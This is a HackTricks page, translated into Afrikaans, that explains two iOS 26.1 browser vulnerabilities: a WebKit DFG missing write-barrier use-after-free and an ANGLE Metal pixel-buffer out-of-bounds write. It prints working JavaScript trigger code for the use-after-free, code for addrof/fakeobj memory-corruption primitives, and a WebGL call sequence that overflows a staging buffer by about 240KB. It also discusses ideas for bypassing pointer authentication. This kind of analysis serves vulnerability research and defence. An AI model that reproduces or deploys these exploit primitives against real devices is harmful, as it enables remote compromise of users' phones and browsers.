WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Opsomming
- DFG Store Barrier bug (CVE-2025-43529): In
DFGStoreBarrierInsertionPhase.cpp, ’n Phi node wat as escaped gemerk is terwyl sy Upsilon-insette nie is nie veroorsaak dat die fase die invoeging van ’n write barrier op daaropvolgende object stores oorslaan. Onder GC-druk laat dit JSC toe om steeds-bereikbare objects vry te gee → use-after-free. - Exploit target: Dwing ’n Date object om ’n butterfly te materialiseer (bv.
a[0] = 1.1) sodat die butterfly vrygestel word, en dan herwin as array-element stoorplek om boxed/unboxed verwarring te bou →addrof/fakeobjprimitives. - ANGLE Metal PBO bug (CVE-2025-14174): Die Metal backend allokeer die PBO staging buffer met
UNPACK_IMAGE_HEIGHTin plaas van die werklike texture height. Deur ’n klein unpack height te voorsien en dan ’n groottexImage2Duit te voer, veroorsaak dit ’n staging-buffer OOB write (~240KB in die PoC hieronder). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectoren JSArraybutterflyis PAC-signed; die vervalsing van fake objects met aanvaller-gekose pointers laat crash metEXC_BAD_ACCESS/EXC_ARM_PAC. Net die hergebruik van alreeds-signed butterflies (boxed/unboxed hertoelichting) werk.
Uitlok van die DFG ontbrekende barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- Plaas A in old space om generational barriers te oefen.
- Skep ’n geïndekseerde Date sodat die butterfly die vrygestelde teiken is.
- Spray
ArrayBuffer(0x800000)om GC te dwing en die race te verbreed. - Die Phi/Upsilon escape mismatch keer barrier insertion;
b.p1 = aword uitgevoer without a write barrier, sodat GCa/butterfly herwin.
Butterfly herwinning → boxed/unboxed verwarring
Nadat GC die Date butterfly vrylaat, spray arrays sodat die vrygestelde slab hergebruik word as elements vir twee arrays met verskillende element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status op iOS 26.1 (arm64e):
- Werkend:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Nog nie stabiel nie: generalized
read64/write64via inline-slot backings.
PAC-beperkings op arm64e (waarom fake objects crash)
- TypedArray
m_vectorand JSArraybutterflyis PAC-signed; forging pointers geeEXC_BAD_ACCESS/ waarskynlikEXC_ARM_PAC. - Die confusion primitive werk omdat dit reuses legitimate signed butterflies; introducing unsigned attacker pointers fails authentication.
- Potensiële bypass-idees: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Gebruik ’n klein unpack height om die staging buffer te verklein, laai dan ’n groot texture op sodat die copy oorloop:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Aantekeninge:
- Fout in
TextureMtl.cpp: staging buffer gebruikUNPACK_IMAGE_HEIGHTin plaas van die werklike tekstuurhoogte op die PBO-pad. - In die referensieprobe is die WebGL2 PBO trigger gekoppel, maar nog nie betroubaar waargeneem op iOS 26.1 nie.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


